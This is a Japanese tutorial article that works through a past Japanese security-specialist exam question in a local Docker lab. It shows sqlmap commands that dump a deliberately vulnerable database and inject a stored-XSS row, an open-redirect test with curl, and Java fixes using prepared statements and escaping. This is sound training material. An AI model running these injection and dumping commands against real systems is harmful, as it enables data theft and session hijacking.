0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackAcademy 擬似体験ラボ】情報処理安全確保支援士 H29午後1問2 を手を動かして解く

0
Posted at

はじめに

「情報処理安全確保支援士試験の過去問、文章を読むだけじゃイマイチ身につかない…」

そう感じたことはありませんか?

この記事では、私が勉強のために作ったHackAcademy の擬似体験ラボを使って、平成29年度秋期 情報処理安全確保支援士
午後1問2
の内容を実際に手を動かしながら体験・解説します。

ラボでは本物に近い脆弱なWebアプリ(Wシステム)をDockerで起動し、実際にSQLインジェクション攻撃を仕掛けたり、XSSを発動させ
たり、コードを修正したりできます。


問題の舞台:Wシステムとは

概要

A社では、社内のマーケティング担当者向けに**WEBマーケティング分析システム(Wシステム)**を運用しています。

  • 社内LAN限定で利用
  • ログイン → ダッシュボード → キャンペーン検索 という画面構成
  • Java(Servlet)で実装
  • 開発者:役員T氏(仕様策定)+ システム担当K氏(実装)

試験では「このシステムに脆弱性診断を行ったらどんな問題が見つかるか?」という視点で問題が構成されています。

今回扱う脆弱性

脆弱性 発生箇所
SQLインジェクション キャンペーン検索機能
格納型XSS 検索結果の表示部分
オープンリダイレクト ログイン後のリダイレクト処理

事前準備:Dockerでターゲット環境を起動

ラボの演習ページを開くと、まず以下の操作を求められます。
(環境構築が完了した前提です。)

cd W-system
docker compose up -d

http://localhost:8080/ にアクセスし、以下でログインできれば準備完了です。

  • ID: admin
  • PASS: password123

ラボ画面は左ペインに設問・右ペインにターミナルが表示される分割レイアウトで、ブラウザとコマンドラインを行き来しながら演習
を進めます。


Step 0:脆弱性の基礎知識を確認する

演習前に、今回扱う3つの脆弱性を整理しておきましょう。

  1. 格納型XSS(Stored Cross-Site Scripting)

悪意のあるスクリプトがDBに保存され、他のユーザーがページを開いたときに自動実行される脆弱性です。セッションハイジャックや
サイト改ざんの原因になります。

原因:ユーザー入力をエスケープせずそのまま出力すること

対策

┌────────┬───────────────────┬─────────────────────────────────────────────┐
│ 重要度 │ 対策 │ 補足 │
├────────┼───────────────────┼─────────────────────────────────────────────┤
│ 必須 │ HTMLエスケープ │ htmlspecialchars() など言語標準の関数を使う │
├────────┼───────────────────┼─────────────────────────────────────────────┤
│ 必須 │ HttpOnly Cookie │ JavaScriptからCookieを読めなくする │
├────────┼───────────────────┼─────────────────────────────────────────────┤
│ 推奨 │ CSPヘッダーの設定 │ インラインスクリプトの実行を制限する │
└────────┴───────────────────┴─────────────────────────────────────────────┘

  1. SQLインジェクション

ユーザー入力をSQL文に直接連結することで、不正なSQL命令が実行される脆弱性です。機密情報の漏洩やデータ改ざんを引き起こしま
す。

原因:"SELECT * FROM users WHERE name = '" + input + "'" のような文字列連結

対策

┌────────┬──────────────────────────┬──────────────────────────────────────┐
│ 重要度 │ 対策 │ 補足 │
├────────┼──────────────────────────┼──────────────────────────────────────┤
│ 必須 │ プリペアドステートメント │ 命令とデータを分離する最も確実な方法 │
├────────┼──────────────────────────┼──────────────────────────────────────┤
│ 必須 │ 最小権限の原則 │ DBアカウントに必要な権限のみ付与する │
├────────┼──────────────────────────┼──────────────────────────────────────┤
│ 推奨 │ エラーメッセージの抑制 │ DB構造をエラーで外部に漏らさない │
└────────┴──────────────────────────┴──────────────────────────────────────┘

  1. オープンリダイレクト

リダイレクト先URLを検証せずそのまま使うことで、攻撃者がフィッシングサイトへ誘導できる脆弱性です。

原因:header("Location: " . $_GET['url']) のような無検証のリダイレクト

対策

┌────────┬──────────────────────────────────────────────────────────────────┐
│ 重要度 │ 対策 │
├────────┼──────────────────────────────────────────────────────────────────┤
│ 必須 │ リダイレクト先を自サイトドメインのみに限定(ホワイトリスト方式) │
├────────┼──────────────────────────────────────────────────────────────────┤
│ 推奨 │ 相対パス(/ 始まり)のみ許可 │
├────────┼──────────────────────────────────────────────────────────────────┤
│ 推奨 │ リダイレクト先を固定化して機能廃止 │
└────────┴──────────────────────────────────────────────────────────────────┘


Step 1:SQLインジェクションでFlagを奪取する

設問1:通常の検索動作を確認

まず正常な操作をしてみます。ログイン後、キャンペーン検索画面で 春の
と検索すると、該当するキャンペーンが表形式で表示されます。これが正常な動作です。

設問2:sqlmapでデータを抜き取る

Wシステムの検索機能はユーザー入力をSQLに直接連結しており、SQLインジェクションが可能です。自動化ツール sqlmap
を使って段階的に調査します。

まずブラウザのDevTools(F12 → Application → Cookies)から JSESSIONID の値をコピーしておきます。

Step 1:データベース名の特定

sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
--dbs

Step 2:テーブル名の特定(-D w_system でDB指定)

sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
-D w_system --tables

Step 3:データのダンプ(campaigns テーブルの中に Flag が隠れています)

sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
-D w_system -T campaigns --dump

flag{...} の形式でFlagが表示されれば成功です。

設問3:この脆弱性の影響範囲

SQLインジェクションで攻撃者が実行できることを選ぶ設問です。

┌─────────────────────────────────┬──────┬────────────────────────────────────────┐
│ 選択肢 │ 判定 │ 解説 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ A. DBの保存データを不正取得 │ ✅ │ --dump で実際に取得できた │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ B. データの削除・改ざん │ ✅ │ INSERT/DELETE/UPDATE も注入可能 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ C. ログインの認証回避 │ ✅ │ ' OR '1'='1 のような攻撃が可能 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ D. Webルートの画像ファイル削除 │ ❌ │ ファイルシステム操作はSQLiの範囲外 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ E. サーバーで不正プログラム実行 │ ❌ │ SQLiだけでは通常不可(権限・設定次第) │
└─────────────────────────────────┴──────┴────────────────────────────────────────┘

正解は A・B・C です。

設問4:格納型XSSを仕掛ける(SQLiとXSSの連鎖)

SQLインジェクションを使って、DBにXSS攻撃コードを書き込みます。

sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
--sql-query "INSERT INTO campaigns (cname, content, registered_by) VALUES
('春キャンペーン速報',
'',
'attacker')"

注入後、Wシステムで 春キャンペーン速報 と検索すると、「【XSS発動】セッションID: JSESSIONID=...」 というアラートが自動的に
表示されます。これが格納型XSSの動作です。DBに仕込まれたスクリプトが、他のユーザーが検索するたびに発動します。

発展チャレンジ:sqlmapを使わず、検索欄に %'; INSERT INTO ... ; -- の形式で直接SQLを入力しても同じことができます。


Step 2:脆弱なコードを修正する

実際に攻撃を体験したあとは、コードを修正する設問です。

修正のポイント

Wシステムの SearchServlet(Java)には2つの問題があります。

問題 1:SQL文字列の直接連結 → SQLインジェクション

脆弱なコードは cname をそのまま LIKE '% + cname + %' に連結しています。PreparedStatement
を使うことで命令とデータを分離し、SQLiを防ぎます。

// 修正前:文字列連結(危険)
String sql = "SELECT * FROM campaigns WHERE cname LIKE '%" + cname + "%'";
Statement stmt = conn.createStatement();

// 修正後:プリペアドステートメント(安全)
String sql = "SELECT * FROM campaigns WHERE cname LIKE ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "%" + cname + "%");

問題 2:DB値のそのまま出力 → XSS

DBから取得した cname を

タグに囲んでそのまま出力しています。出力時にHTMLエスケープを行います。

// 修正前:エスケープなし(危険)
out.println("

" + rs.getString("cname") + "

");

// 修正後:エスケープ後に出力(安全)
String safeName = escapeHtml(rs.getString("cname"));
out.println("

" + safeName + "

");

Step 3:オープンリダイレクトを悪用する

正常な動作の確認

Wシステムにはログイン後に元のページへ戻る機能があります。

ログイン成功後、redirect_url で指定したページに自動遷移する便利な機能です。

設問6:フィッシング用URLの作成

しかし redirect_url の値を検証していないため、外部サイトへのリダイレクトも可能です。

攻撃者はこんなURLを作れます:

ドメイン部分は正規の hackacademy.jp
なので、被害者は油断してクリックします。ログイン後、気づかぬうちに別のサイトへ飛ばされます。

ターミナルで挙動を確認するには以下のコマンドを実行します。

curl -v
-d "user_id=admin&password=password123&redirect_url=http://google.com"
http://web:8080/LoginServlet

レスポンスに HTTP/1.1 302 Found と Location: http://google.com
が含まれていれば成功です。これが「サーバーがブラウザにGoogleへ飛べと命令している」証拠です。


まとめ:3つの脆弱性の連鎖

この問題の核心は、SQLi・XSS・オープンリダイレクトが連鎖する攻撃シナリオにあります。

SQLインジェクション
├─ DBのデータ読み取り(Flag奪取)
└─ DBへ不正データ書き込み
└─ 格納型XSS(他のユーザーにスクリプト発動)
└─ セッションIDを盗む → セッションハイジャック

オープンリダイレクト
└─ 正規URLを装ったフィッシングURL作成
└─ ユーザーをだまして偽サイトへ誘導

試験でも「この脆弱性が引き起こす別の攻撃」という複合的な視点が問われます。実際に手を動かすと、この連鎖がリアルに体感でき
ます。

対策まとめ

┌──────────────────────┬────────────────────────────────────────────────┐
│ 脆弱性 │ 根本的な対策 │
├──────────────────────┼────────────────────────────────────────────────┤
│ SQLインジェクション │ PreparedStatement でSQLと値を分離する │
├──────────────────────┼────────────────────────────────────────────────┤
│ 格納型XSS │ 出力時に必ずHTMLエスケープ + HttpOnly Cookie │
├──────────────────────┼────────────────────────────────────────────────┤
│ オープンリダイレクト │ リダイレクト先を自サイトドメインのみに限定する │
└──────────────────────┴────────────────────────────────────────────────┘


おわりに

HackAcademyの擬似体験ラボを使うと、テキストを読むだけでは分かりにくい「攻撃の手順」「被害の実感」「修正の意味」が体で理解
できます。

情報処理安全確保支援士の試験は知識問題だけでなく、「なぜ危険なのか」「どう修正するか」という実践的な思考力が問われます。
ラボで手を動かして、両方を身につけましょう。

この過去問の内容について解釈違い、指摘などありましたらコメントお願いします。


HackAcademyは情報セキュリティを学ぶ学習者向けのプラットフォームです。擬似体験ラボは許可された環境内での学習を目的としてい
ます。


0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?